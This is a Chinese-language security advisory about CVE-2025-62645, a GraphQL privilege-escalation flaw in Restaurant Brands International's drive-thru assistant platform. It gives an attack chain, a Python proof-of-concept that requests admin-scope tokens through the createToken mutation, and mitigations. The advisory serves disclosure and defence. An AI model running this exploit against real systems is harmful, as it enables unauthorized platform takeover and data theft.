IPBUF安全漏洞报告
English
CVE-2025-62645 CVSS 9.9 严重

CVE-2025-62645 RBI助手平台GraphQL权限提升漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62645
漏洞类型
权限提升/GraphQL未授权访问
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Restaurant Brands International (RBI) Assistant Platform

相关标签

权限提升GraphQLcreateTokenRBI汉堡王Burger KingTim HortonsPopeyes得来速Drive-Thru

漏洞概述

CVE-2025-62645是存在于Restaurant Brands International(RBI)助手平台中的一个高危安全漏洞。该平台为RBI旗下多个知名快餐品牌(包括汉堡王Burger King、蒂姆·霍顿斯Tim Hortons和Popeyes路易斯安那炸鸡)提供统一的AI语音助手服务,部署于全球数千家门店的得来速(Drive-Thru)系统中。

该漏洞允许远程经过认证的攻击者通过调用GraphQL API中的createToken变更(mutation),获取具有整个平台管理员权限的令牌。CVSS评分为9.9分,属于严重级别,表明该漏洞具有极高的可利用性和破坏性。攻击者只需拥有低权限的认证凭证,即可将权限提升至平台管理员级别,进而完全控制整个平台。

该漏洞的影响范围极其广泛,涵盖了RBI在全球范围内运营的所有得来速门店的语音点餐系统。攻击者获得管理员权限后,可能篡改菜单价格、获取客户订单数据、干扰门店正常运营,甚至可能植入恶意内容或后门程序。这一漏洞的披露引起了安全社区的广泛关注,多家知名安全媒体对其进行了报道。

根据披露信息,该漏洞影响2025年9月6日及之前的所有版本。安全研究人员(bobdahacker)在博客中详细描述了该漏洞的发现过程和利用方法,并指出RBI平台存在多个严重的安全缺陷,需要立即进行修复。

技术细节

该漏洞的核心问题在于RBI助手平台的GraphQL API设计中存在严重的权限控制缺陷。GraphQL是一种API查询语言,允许客户端通过单一端点请求精确的数据。createToken是平台提供的一个GraphQL变更(mutation),用于创建新的认证令牌。

正常情况下,createToken变更应当仅允许具有管理员权限的用户调用,用于为新用户或服务账号签发令牌。然而,该实现中缺乏适当的权限校验机制,导致任何经过认证的低权限用户都可以调用此变更并请求管理员级别的令牌。

攻击利用过程如下:
1. 攻击者首先通过合法途径(如钓鱼、社会工程或购买泄露凭证)获取一个低权限的认证账户;
2. 使用该账户的凭证调用GraphQL端点;
3. 构造createToken变更请求,指定请求管理员级别的权限范围(scopes/roles);
4. 服务器未进行充分的权限检查,直接返回具有管理员权限的令牌;
5. 攻击者使用获得的admin令牌即可访问平台的所有管理功能。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H,表明通过网络即可利用,攻击复杂度低,仅需低权限认证,无需用户交互,且影响范围可波及整个平台(Scope Changed),对机密性、完整性和可用性均产生高影响。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者通过钓鱼、社会工程、暗网购买或其他方式获取RBI助手平台的合法低权限用户凭证(如门店员工账号)
STEP 2
步骤2:探测GraphQL端点
使用低权限凭证访问平台的GraphQL API端点,通过内省查询(introspection)发现createToken变更及其参数结构
STEP 3
步骤3:构造权限提升请求
构造createToken GraphQL变更请求,在请求参数中指定管理员级别的scopes和role字段
STEP 4
步骤4:绕过权限校验
由于服务端未对调用者的权限进行充分验证,直接处理了低权限用户的令牌创建请求,返回了高权限令牌
STEP 5
步骤5:获取管理员令牌
成功获得具有PLATFORM_ADMIN权限的JWT令牌,可用于访问所有管理功能
STEP 6
步骤6:执行恶意操作
利用管理员令牌篡改菜单价格、窃取客户订单数据、干扰门店运营、植入后门或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62645 PoC - RBI Assistant Platform GraphQL Privilege Escalation # Exploits the createToken mutation to obtain admin-level tokens import requests import json TARGET_URL = "https://target-rbi-platform.com/graphql" LOW_PRIV_TOKEN = "USER_LOW_PRIVILEGE_JWT_TOKEN_HERE" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {LOW_PRIV_TOKEN}" } # Step 1: Authenticate with low-privilege credentials # Step 2: Call createToken mutation requesting admin scopes mutation = { "query": """ mutation CreateAdminToken { createToken( input: { scopes: ["ADMIN", "PLATFORM_ADMIN", "SUPER_USER"], role: "ADMIN", expiresIn: 86400 } ) { token user { id email role scopes } expiresAt } } """ } # Step 3: Send the GraphQL request response = requests.post( TARGET_URL, headers=headers, data=json.dumps(mutation) ) # Step 4: Extract the admin token from the response if response.status_code == 200: result = response.json() if "data" in result and result["data"].get("createToken"): admin_token = result["data"]["createToken"]["token"] print(f"[+] Admin token obtained: {admin_token}") # Step 5: Use admin token to access privileged endpoints else: print(f"[-] Exploit failed: {result}") else: print(f"[-] Request failed with status {response.status_code}") # Alternative: Using GraphQL introspection to discover the schema introspection_query = { "query": """ { __schema { mutationType { fields { name args { name type { name kind } } } } } } """ } response = requests.post(TARGET_URL, headers=headers, data=json.dumps(introspection_query)) print(json.dumps(response.json(), indent=2))

影响范围

Restaurant Brands International (RBI) Assistant Platform <= 2025-09-06

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制GraphQL端点的网络访问,仅允许可信IP访问;2)在API网关层面拦截createToken变更的调用,仅允许管理员角色调用;3)审查所有已签发的令牌,撤销可疑的高权限令牌;4)加强认证凭证的保护,强制所有用户重置密码并启用MFA;5)部署入侵检测系统(IDS)监控异常的权限提升行为;6)限制低权限用户账户的网络访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表